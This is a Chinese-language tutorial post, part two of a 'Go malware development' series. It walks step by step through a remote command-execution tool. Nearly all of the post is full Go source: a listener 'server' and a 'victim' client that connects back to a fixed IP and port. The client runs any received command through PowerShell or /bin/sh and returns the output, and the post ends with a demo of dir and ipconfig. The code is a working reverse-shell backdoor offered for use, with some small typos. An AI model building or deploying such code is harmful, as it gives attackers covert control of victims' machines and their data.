Go :恶意软件开发(第二部分)

admin 2024年12月8日23:07:17评论6 views字数 12292阅读40分58秒阅读模式
Go  :恶意软件开发(第二部分)Go  :恶意软件开发(第二部分)

欢迎回来!!现在我们已经启动并运行了 TCP 服务器和客户端,是时候加强工作了。在这一部分中,我们将深入探讨如何在目标计算机上执行我们的第一个系统命令。在本指南结束时,您将了解如何远程发送和运行命令。

如果您错过了前面的部分,您可以在此处查看: Part(I)

Go  :恶意软件开发(第二部分)Go  :恶意软件开发(第二部分)
截图
As our project grows and adds more features, putting all the code in one
file will make it messy and hard to manage. 
Troubleshooting errors will become a challenge, so to keep things 
organized and easy to navigate, we'll separate functionalities into 
different files and directories.Before diving into the command execution
feature, let's take some time to tidy up our file structure.

让我们从服务器端开始,结构将如下所示:

Go  :恶意软件开发(第二部分)Go  :恶意软件开发(第二部分)
Sceenshot
#Server Side (main.go)

package main

import (
 "../Server/Core/handleConnection"
 "log"
 "net"
)

func main() {
 var connection net.Conn

 ip := "192.168.1.4"
 port := "19090"

 connection, err := handleconnection.ConnectWithVictim(ip, port)
 if err != nil {
  log.Fatal(err)
 }
 defer connection.Close()

 fmt.Println("Connection Established:"+connection.RemoteAddr().String())

如您所见,没有很多变化 ,只是一些调整,该文件将包含用于设置连接的代码。establishConnection.go

#Server Side (establishConnection.go)

package handleconnection

import (
 "net"
)

func ConnectWithVictim (ip string , port string) (connection net.Conn , err error) {

 localAddress := ip + ":" + port 

 listener , err :=net.Listen("tcp",localAddress)
 if err != nil {
  return connection , err
 }

 connection , err  = listener.Accept()
 if err != nil {
  return connection , err
 }else {
  return
 }

}

所有这些代码都在前面的 PART 中进行了解释,所以如果你错过了,请随时查看!我们只是做了一些调整来改进结构。

开关。。

现在让我们继续 Victim 端,结构将如下所示:

Go  :恶意软件开发(第二部分)Go  :恶意软件开发(第二部分)
截图
#Victim Side (main.go)

package main

import (
 "fmt"
 "log"
)

func main() {
 serverIP := "192.168.1.4"
 port := "19090"

 connection, err := handleconnection.ConnectionWithServer(serverIP,port)
 if err != nil {
  log.Fatal(err)
 }
 defer connection.Close()

 fmt.Println("Connection Established:",connection.RemoteAddr().String())

如您所见,也没有太多更改,另一个 main.go 文件 underfile 将保存连接的代码。handleConnection.go

#Victim Side (handleconnectionmain.go)

package handleconnection

import (
 "net"
)

func ConnectionWithServer(ServerIP string, Port string) (connection net.Conn, err error) {

 ServerAddress := ServerIP + ":" + Port
 connection, err = net.Dial("tcp", ServerAddress)
 if err != nil {
  return
 }

 return
}

做出这些调整后,我们现在可以继续我们的旅程了。

S0 ..

第 1 步:初始化

#Server Side (main.go)

..
reader := bufio.NewReader(os.Stdin)
loopControl := true

该代码初始化缓冲读取器,用于从标准输入(通常是键盘)读取输入,而布尔变量设置为 true 以管理程序的主循环。bufio.NewReader(os.Stdin)loopControl

第 2 步:主循环

for loopControl {

这将启动一个循环,只要 为 ,该循环就会继续运行。loopControltrue

步骤 3:显示选项

Options()
fmt.Print("[Choose Options ] ")

该函数显示可用命令列表,供用户从 中选择。Options()

..
func Options() {
 fmt.Println("[1] > Execute Command")
 fmt.Println("[99] > Exit")
 fmt.Println()
}
..

第 4 步:读取用户输入

userInputRaw, err := reader.ReadString('n')
if err != nil {
    fmt.Println(err)
    continue
}

该方法从用户那里读取一行输入,直到遇到换行符,并将结果存储在 中。如果在此过程中发生错误,例如关闭 input stream,则程序将打印错误消息并继续进行循环的下一次迭代。reader.ReadString('n')userInputRaw

步骤 5:清理用户输入

userInput := strings.TrimSpace(userInputRaw)

strings.TrimSpace(userInputRaw)从用户输入中删除任何前导和尾随空格字符(包括换行符),并将清理后的输入存储在 中。userInput

步骤 6:将用户输入发送到连接

_, err = connection.Write([]byte(userInput + "n"))
if err != nil {
    fmt.Println("Failed to send data:", err)
    continue
}

此方法将用户的输入(后跟换行符)发送到连接的远程计算机。

如果在此操作期间发生错误,程序将打印错误消息并继续循环的下一次迭代。

第 7 步:处理用户选项:

switch userInput {
case "1":
    fmt.Println("[+] Command Execution Program")
    err := executecommandwindows.ExecuteCommandswindowsRemotely(connection)
    displayError(err)

case "99":
    fmt.Println("[+] Exiting The Program")
    loopControl = false

default:
    fmt.Println("[-] Invalid Option, Try again")
}

switch 语句处理不同的用户输入:如果用户输入“1”,则程序识别执行命令的意图,打印确认消息,并调用在远程计算机上运行命令,将遇到的任何错误传递给函数以处理 ,设置为 false,结束循环并退出程序。对于任何其他输入,它会打印无效的选项消息并提示用户重试。ExecuteCommandswindowsRemotely()displayError(err)loopControl

..
func displayError(err error) {
 if err != nil {
  fmt.Println(err)
 }
}
..

这是完整的代码:

#Server Side (main.go)

package main

import (
 "../Server/Core/executeCommandWindows"
 "../Server/Core/handleConnection"
 "bufio"
 "fmt"
 "log"
 "net"
 "os"
 "strings"
)

func Options() {
 fmt.Println("[1] > Execute Command")
 fmt.Println("[99] > Exit")
 fmt.Println()
}

func displayError(err error) {
 if err != nil {
  fmt.Println(err)
 }
}

func main() {
 var connection net.Conn

 ip := "192.168.1.4"
 port := "19090"

 connection, err := handleconnection.ConnectWithVictim(ip, port)
 if err != nil {
  log.Fatal(err)
 }
 defer connection.Close()

 fmt.Println("Connection Established: " + connection.RemoteAddr().String())

 reader := bufio.NewReader(os.Stdin)
 loopControl := true

 for loopControl {
  Options()
  fmt.Print("[Choose Options ] ")
  userInputRaw, err := reader.ReadString('n')
  if err != nil {
   fmt.Println(err)
   continue
  }

  userInput := strings.TrimSpace(userInputRaw)

  _, err = connection.Write([]byte(userInput + "n"))
  if err != nil {
   fmt.Println("Failed to send data:", err)
   continue
  }

  switch userInput {
  case "1":
   fmt.Println("[+] Command Execution Program")
   err := executecommandwindows.ExecuteCommandswindowsRemotely(connection)
   displayError(err)

  case "99":
   fmt.Println("[+] Exiting The Program")
   loopControl = false

  default:
   fmt.Println("[-] Invalid Option, Try again")
  }
 }
}

现在,让我们深入研究 executeCommandWindows 文件中的函数 ,以探索如何执行命令。ExecuteCommandswindowsRemotely()

S0 ..

第 1 步:包声明和导入

package executecommandwindows

import (
    "bufio"
    "encoding/gob"
    "os"
    "strings"
)

该函数是包的一部分,并导入必要的包: 用于缓冲 I/O、 编码/解码数据、 操作系统功能和字符串操作。executecommandwindowsbufiogobosstrings

第 2 步:命令结构体

type Command struct {
    CmdOutput string
    CmdError  string
}

该结构包含已执行命令的输出和错误消息。Command

第 3 步:函数声明

func ExecuteCommandswindowsRemotely(connection net.Conn) error {

该函数将对象作为参数,表示与 server 的连接。ExecuteCommandswindowsRemotelynet.Conn

第 4 步:缓冲读取器初始化

reader := bufio.NewReader(os.Stdin)
commandLoop := true

创建缓冲读取器以从标准输入读取命令,并对其进行初始化以控制命令执行的循环。commandLooptrue

第 5 步:命令输入循环

for commandLoop {
    fmt.Print(">> ")
    command, err := reader.ReadString('n')
    if err != nil {
        fmt.Println("Error reading command:", err)
        continue
    }

它会读取一行 input,直到遇到换行符。如果在 input 读取期间发生错误,它会打印错误并继续进行下一次迭代。

步骤 6:清理用户输入

command = strings.TrimSpace(command)

通过删除前导和尾随空格(包括换行符)来清理用户输入。

步骤 7:向远程连接发送命令

_, err = connection.Write([]byte(command + "n"))
if err != nil {
    fmt.Println("Failed to send command:", err)
    continue
}

已清理的命令将发送到远程连接,后跟换行符。如果在发送时发生错误,它会打印错误消息并继续进行下一次迭代。

第 8 步:退出条件

if command == "stop" {
    commandLoop = false
    break
}

如果用户输入 stop,则循环退出,停止进一步的命令执行。

第 9 步:接收和解码响应

cmdStruct := &Command{}
decoder := gob.NewDecoder(connection)

err = decoder.Decode(cmdStruct)
if err != nil {
    fmt.Println("Failed to decode response:", err)
    continue
}

将创建一个新结构来保存响应。A 初始化为从连接中读取。响应被解码为 ,如果在解码过程中发生错误,则会打印一条错误消息,并继续循环。Commandgob.DecodercmdStruct

采空区

步骤 10:打印命令输出和错误

fmt.Println(cmdStruct.CmdOutput)
if cmdStruct.CmdError != "" {
    fmt.Println("Error:", cmdStruct.CmdError)
}

将打印已执行命令的输出。如果在 中捕获到任何错误,也会打印出来。CmdError

第 11 步:Return 语句:

return nil

该函数最后返回 ,指示它已成功完成且没有错误。nil

这是完整的代码:

#Server Side (executeCommandWindowsexecute.go)

package executecommandwindows

import (
 "bufio"
 "encoding/gob"
 "fmt"
 "net"
 "os"
 "strings"
)

type Command struct {
 CmdOutput string
 CmdError  string
}

func ExecuteCommandswindowsRemotely(connection net.Conn) error {
 reader := bufio.NewReader(os.Stdin)
 commandLoop := true

 for commandLoop {
  fmt.Print(">> ")
  command, err := reader.ReadString('n')
  if err != nil {
   fmt.Println("Error reading command:", err)
   continue
  }

  command = strings.TrimSpace(command)

  _, err = connection.Write([]byte(command + "n"))
  if err != nil {
   fmt.Println("Failed to send command:", err)
   continue
  }

  if command == "stop" {
   commandLoop = false
   break
  }

  cmdStruct := &Command{}
  decoder := gob.NewDecoder(connection)

  err = decoder.Decode(cmdStruct)
  if err != nil {
   fmt.Println("Failed to decode response:", err)
   continue
  }

  fmt.Println(cmdStruct.CmdOutput)
  if cmdStruct.CmdError != "" {
   fmt.Println("Error:", cmdStruct.CmdError)
  }
 }

 return nil
}

ExecuteCommandswindowsRemotely () 函数允许用户输入要在远程计算机上执行的命令。它读取用户命令,通过网络连接发送命令,接收输出和任何错误,并将此信息显示给用户,并可选择停止命令执行循环。

现在我们已经完成了服务器端代码,并且它已经完全准备好在远程计算机上执行任何系统命令,是时候继续进行受害者端实现了。让我们准备好客户端,以便它可以与服务器通信并响应命令。

S0 ..

1. 缓冲读取器设置

reader := bufio.NewReader(connection)

创建缓冲读取器以从远程连接读取数据,允许程序以块(通常是逐行)处理传入数据,从而更容易处理通过网络发送的命令或输入。

2. Loop Control 设置

loopControl := true
for loopControl {

这将设置一个循环,只要变量为 ,该循环就会持续运行。循环的主要工作是持续侦听来自连接的命令,然后对它们做出反应。当设置为 时,循环将停止,当用户选择退出程序时,就会发生这种情况。loopControltrueloopControlfalse

3. 从连接读取输入

userInputRaw, err := reader.ReadString('n')
if err != nil {
    fmt.Println("Error reading from connection:", err)
    continue
}

程序尝试从连接中读取一行 Importing。如果它成功地从连接的计算机读取命令或输入,它将继续处理它。如果在读取时出现错误(例如,如果连接断开),则会打印错误,并再次启动循环。这可确保程序不会因输入问题而崩溃。

4. 调整和清理输入

userInput := strings.TrimSpace(userInputRaw)

在这里,通过修剪任何不需要的空格或换行符来清理从连接接收的输入。这可确保即使用户发送额外的空格或使用换行符输入命令,程序也会正确处理它。

5. 通过 Switch Case 处理用户输入

switch userInput {
    case "1":
        fmt.Println("[+] Executing Windows Command")
        err := executesystemcommands.CommandswindowsRemotelyExecution(connection)
        DisplayError(err)
    case "99":
        fmt.Println("[-] Exiting Program")
        loopControl = false
    default:
        fmt.Println("[-] Invalid Option Received from Server")
}

在最后一个代码段中,程序使用 switch 语句来处理不同的输入。如果输入为 “1”,则程序将打印一条消息,指示它将执行 Windows 命令,然后调用该函数将命令发送到远程计算机执行。如果在此过程中发生任何错误,则会将其传递给函数进行处理。如果输入为 “99”,则程序打印一条消息并设置 ,这将停止循环并正常退出程序。如果收到任何其他输入,程序将打印一条消息,通知该选项无效并等待有效输入,从而阻止程序处理无法识别的命令或输入。CommandswindowsRemotelyExecution()DisplayError(err)loopControl = false

这是主文件的完整代码

#Victim Side (main.go)

package main

import (
 "../Victim/Core/executeSystemCommands"
 "../Victim/Core/handleConnection"
 "bufio"
 "fmt"
 "log"
 "strings"
)

func DisplayError(err error) {
 if err != nil {
  fmt.Println(err)
 }
}

func main() {
 serverIP := "192.168.1.4"
 port := "19090"

 connection, err := handleconnection.ConnectionWithServer(serverIP, port)
 if err != nil {
  log.Fatal(err)
 }
 defer connection.Close()

 fmt.Println("Connection Established: ", connection.RemoteAddr().String())
 
 reader := bufio.NewReader(connection)

 loopControl := true
 for loopControl {
 
  userInputRaw, err := reader.ReadString('n')
  if err != nil {
   fmt.Println("Error reading from connection:", err)
   continue
  }

  userInput := strings.TrimSpace(userInputRaw)

  switch userInput {
  case "1":
   fmt.Println("[+] Executing Windows Command")
   err := executesystemcommands.CommandswindowsRemotelyExecution(connection)
   DisplayError(err)
  case "99":
   fmt.Println("[-] Exiting Program")
   loopControl = false
  default:
   fmt.Println("[-] Invalid Option Received from Server")
  }
 }
}

如您所见,正如我们之前讨论的那样,我们使用了另一个模块 ,它负责处理远程机器上的命令创建和执行。executesystemcommands.CommandswindowsRemotelyExecution

让我们深入研究并探索如何逐步执行这些命令。这将帮助我们了解远程执行的工作原理、命令的发送和接收方式以及输出的处理方式。

S0 ..

1. 初始化和命令循环设置

reader := bufio.NewReader(connection)
commandLoop := true

创建一个缓冲读取器,以便从已建立的网络连接中读取命令。该变量初始化为 ,允许循环继续执行,直到满足要停止的条件。commandLooptrue

2. 读取用户输入

for commandLoop {
    userInputRaw, err := reader.ReadString('n')
    if err != nil {
        fmt.Println("Error reading command:", err)
        continue
    }

    userInput := strings.TrimSpace(userInputRaw)

在循环中,该函数读取用户输入,直到遇到换行符。如果在此读取过程中出现错误(如果连接丢失),它会打印一条错误消息并继续循环的下一次迭代。然后,通过修剪任何前导或尾随空格来清理用户输入。

3. 停止条件

if userInput == "stop" {
    commandLoop = false
}

该函数检查已清理的用户输入是否等于 。如果是这样,则变量设置为 ,这将中断循环并允许函数退出。stopcommandLoopfalse

4. 命令执行逻辑

else {
    fmt.Println("[+] Executing User Command: ", userInput)
    var cmdInstance *exec.Cmd

    if runtime.GOOS == "windows" {
        cmdInstance = exec.Command("powershell.exe", "/C", userInput)
    } else {
        cmdInstance = exec.Command("/bin/sh", "-c", userInput)
    }

如果用户输入不是 ,则程序将打印一条消息,指示正在执行哪个命令。它使用 .根据操作系统是 Windows 还是 Linux,它通过创建命令实例 () 来准备要执行的命令。stopruntime.GOOScmdInstance

5. 捕获输出和错误

var output bytes.Buffer
var commandErr bytes.Buffer
cmdInstance.Stdout = &output
cmdInstance.Stderr = &commandErr

err = cmdInstance.Run()
if err != nil {
    fmt.Println("Command execution error:", err)
}

该函数设置缓冲区以从命令执行中捕获标准输出和标准错误。它使用 运行命令,执行命令并使用命令的输出和执行过程中发生的任何错误填充缓冲区。cmdInstance.Run()

6. 打包和发送结果

cmdStruct := &Command{
    CmdOutput: output.String(),
    CmdError:  commandErr.String(),
}

encoder := gob.NewEncoder(connection)
err = encoder.Encode(cmdStruct)
if err != nil {
    fmt.Println("Error encoding command output:", err)
    continue
}

执行命令后,输出和任何错误都存储在结构体中。然后,该函数用于对此结构进行编码,并通过 connection 将其发送回去。如果在此编码过程中出现错误,它会打印错误消息并继续等待下一个命令。Commandgob

这是主文件的完整代码

#Victim Side (executeSystemCommandsexecute.go)

package executesystemcommands

import (
 "bufio"
 "bytes"
 "encoding/gob"
 "fmt"
 "net"
 "os/exec"
 "runtime"
 "strings"
)

type Command struct {
 CmdOutput string
 CmdError  string
}

func CommandswindowsRemotelyExecution(connection net.Conn) (err error) {
 reader := bufio.NewReader(connection)
 commandLoop := true

 for commandLoop {

  userInputRaw, err := reader.ReadString('n')
  if err != nil {
   fmt.Println("Error reading command:", err)
   continue
  }

  userInput := strings.TrimSpace(userInputRaw)
  if userInput == "stop" {
   commandLoop = false
  } else {
   fmt.Println("[+] Executing User Command: ", userInput)

   var cmdInstance *exec.Cmd

   if runtime.GOOS == "windows" {
    // Windows command
    cmdInstance = exec.Command("powershell.exe", "/C", userInput)
   } else {
    // Linux command
    cmdInstance = exec.Command("/bin/sh", "-c", userInput)
   }

   var output bytes.Buffer
   var commandErr bytes.Buffer
   cmdInstance.Stdout = &output
   cmdInstance.Stderr = &commandErr

   err = cmdInstance.Run()
   if err != nil {
    fmt.Println("Command execution error:", err)
   }

   cmdStruct := &Command{
    CmdOutput: output.String(),
    CmdError:  commandErr.String(),
   }

   encoder := gob.NewEncoder(connection)
   err = encoder.Encode(cmdStruct)
   if err != nil {
    fmt.Println("Error encoding command output:", err)
    continue
   }
  }
 }

 return nil
}

总体而言,此代码处理从远程连接发送的命令的执行。它读取命令,根据操作系统执行命令,捕获结果,并将这些结果发回 ,同时允许连续的命令输入,直到用户决定停止。

让我们测试一下我们的代码。

建立连接后,系统将提示我们在执行命令或退出之间进行选择。按 1 执行系统命令,按 99 退出。当我们按 1 时,您可以开始输入要在远程机器上运行的系统命令。

我们执行第一个命令 ,它显示 目录内容 .dir

Go  :恶意软件开发(第二部分)Go  :恶意软件开发(第二部分)
截图

接下来,我们执行命令,该命令返回并显示网络配置。ipconfig

Go  :恶意软件开发(第二部分)Go  :恶意软件开发(第二部分)
截图

有了这个功能,我们成功地在服务器和客户端之间建立了一个完整的通信通道,使我们能够远程执行系统命令。

总之,通过在 Golang 中构建 TCP 服务器和客户端,并添加在远程机器上运行命令的功能,我们取得了长足的进步。

这是向前迈出的一大步,因为我们已经建立了稳固的连接并成功执行了命令。从这里开始,我们将深入研究更多令人兴奋的功能,以将事情提升到一个新的水平。请继续关注我们旅程的下一步!

 

原文始发于微信公众号(安全狗的自我修养):Go :恶意软件开发(第二部分)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月8日23:07:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Go :恶意软件开发(第二部分)https://cn-sec.com/archives/3482614.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息